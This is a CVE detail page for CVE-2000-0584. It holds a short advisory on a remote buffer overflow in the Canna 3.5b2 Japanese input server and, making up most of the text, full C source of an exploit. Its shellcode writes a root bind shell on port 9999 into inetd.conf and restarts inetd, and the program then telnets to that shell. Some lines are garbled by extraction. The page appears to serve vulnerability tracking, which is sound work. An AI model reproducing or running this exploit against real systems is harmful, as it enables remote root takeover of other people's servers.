CVE-2000-0584 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

// source: https://www.securityfocus.com/bid/1445/info A vulnerability exists in the 'canna' package, as distributed with a number of free operating systems, and available for other systems. Version 3.5b2 is vulnerable. It is assumed versions prior to this are also vulnerable. By supplying an overly large username or groupname with the IR_INIT command, it is possible to trigger a remote buffer overflow condition. Successful exploitation will enable a remote attacker to execute arbitrary code as the user the canna server is running as. This vulnerability affects any system with 3.5b2 installed. FreeBSD has canna as part of its ports collection. FreeBSD itself does not install canna; as such, this vulnerability does not affect stock distributions of FreeBSD. /*============================================================================= Canna35b2 / cannaserver remote buffer overflow exploit for Linux The Shadow Penguin Security (http://shadowpenguin.backsection.net) Written by UNYUN ([email protected]) ============================================================================= */ #include #include #include #include #include #include #include #include #include #include #define TARGET_PORT 5680 #define COMMAND 0x01 #define VERSION "3.3" #define MAXBUF 300 #define MAXPACKET 1000 #define NOP 0x90 #define RET_OFS 255 #define CODE_OFS 50 #define RET 0x7ffffc70 // default (sh) //#define RET 0x7ffff760 // default (csh) //#define RET 0x7ffff970 // /usr/sbin/cannaserver //#define RET 0x7ffff9c0 // /etc/rc.d/init.d/canna char *shellcode= "\xeb\x37\x5e\x31\xc0\x88\x46\x07\x88\x46\x0a\x88\x46\x0d\x88\x46" "\x62\x89\xf3\x89\x43\x6f\x04\x08\x01\xc6\x89\x73\x63\x83\xc6\x03" "\x89\x73\x67\x83\xc6\x03\x89\x73\x6b\x8d\x4b\x63\x8d\x53\x6f\xb0" "\x0b\xcd\x80\xb0\x01\x31\xdb\xcd\x80\xe8\xc4\xff\xff\xff\x2f\x62" "\x69\x6e\x2f\x73\x68\x2e\x73\x68\x2e\x2d\x63\x2e\x65\x63\x68\x6f" "\x20\x27\x39\x39\x39\x39\x20\x73\x74\x72\x65\x61\x6d\x20\x74\x63" "\x70\x20\x6e\x6f\x77\x61\x69\x74\x20\x72\x6f\x6f\x74\x20\x2f\x62" "\x69\x6e\x2f\x73\x68\x20\x73\x68\x20\x2d\x69\x27\x3e\x3e\x2f\x65" "\x74\x63\x2f\x69\x6e\x65\x74\x64\x2e\x63\x6f\x6e\x66\x3b\x6b\x69" "\x6c\x6c\x61\x6c\x6c\x20\x2d\x48\x55\x50\x20\x69\x6e\x65\x74\x64" "\x2e\x30\x30\x30\x30\x31\x31\x31\x31\x32\x32\x32\x32\x4e\x55\x4c" "\x4c"; main(int argc,char *argv[]) { int sockfd,i; struct in_addr addr; struct sockaddr_in target; struct hostent *hs; char buf[MAXBUF]; char packet[MAXPACKET]; if (argc<2){ printf("usage : %s TargetHost\n",argv[0]); exit(1); } sockfd=socket(AF_INET, SOCK_STREAM, 0); target.sin_family=AF_INET; target.sin_port=htons(TARGET_PORT); if ((target.sin_addr.s_addr=inet_addr(argv[1]))==-1){ if ((hs=gethostbyname(argv[1]))==NULL){ printf("Can not resolve specified host.\n"); exit(1); } target.sin_family = hs->h_addrtype; memcpy((caddr_t)&target.sin_addr.s_addr,hs->h_addr,hs->h_length); } if (connect(sockfd, (struct sockaddr*)&target, sizeof(target))!=0){ printf("Can not connect to %s:%d\n",argv[1],TARGET_PORT); exit(1); } memset(buf,NOP,MAXBUF); printf("Jumping Address=%x\n",RET); buf[300]=0; for (i=RET_OFS-32;i>24)&0xff; buf[i+2]=(RET>>16)&0xff; buf[i+1]=(RET>>8)&0xff; buf[i+0]=RET&0xff; } memcpy(buf+CODE_OFS,shellcode,strlen(shellcode)); /* Make Packet */ packet[0]=0x00; packet[1]=0x00; packet[2]=0x00; packet[3]=COMMAND; packet[4]=0x00; packet[5]=0x00; packet[6]=0x00; packet[7]=5+strlen(buf); sprintf(packet+8,"%s:",VERSION); strcpy(packet+12,buf); packet[12+strlen(buf)]=0; write(sockfd,packet,13+strlen(buf)); /* Make connection */ printf("Connected to %d\n",TARGET_PORT); sleep(3); close(sockfd); sprintf(packet,"telnet %s 9999",argv[1]); system(packet); }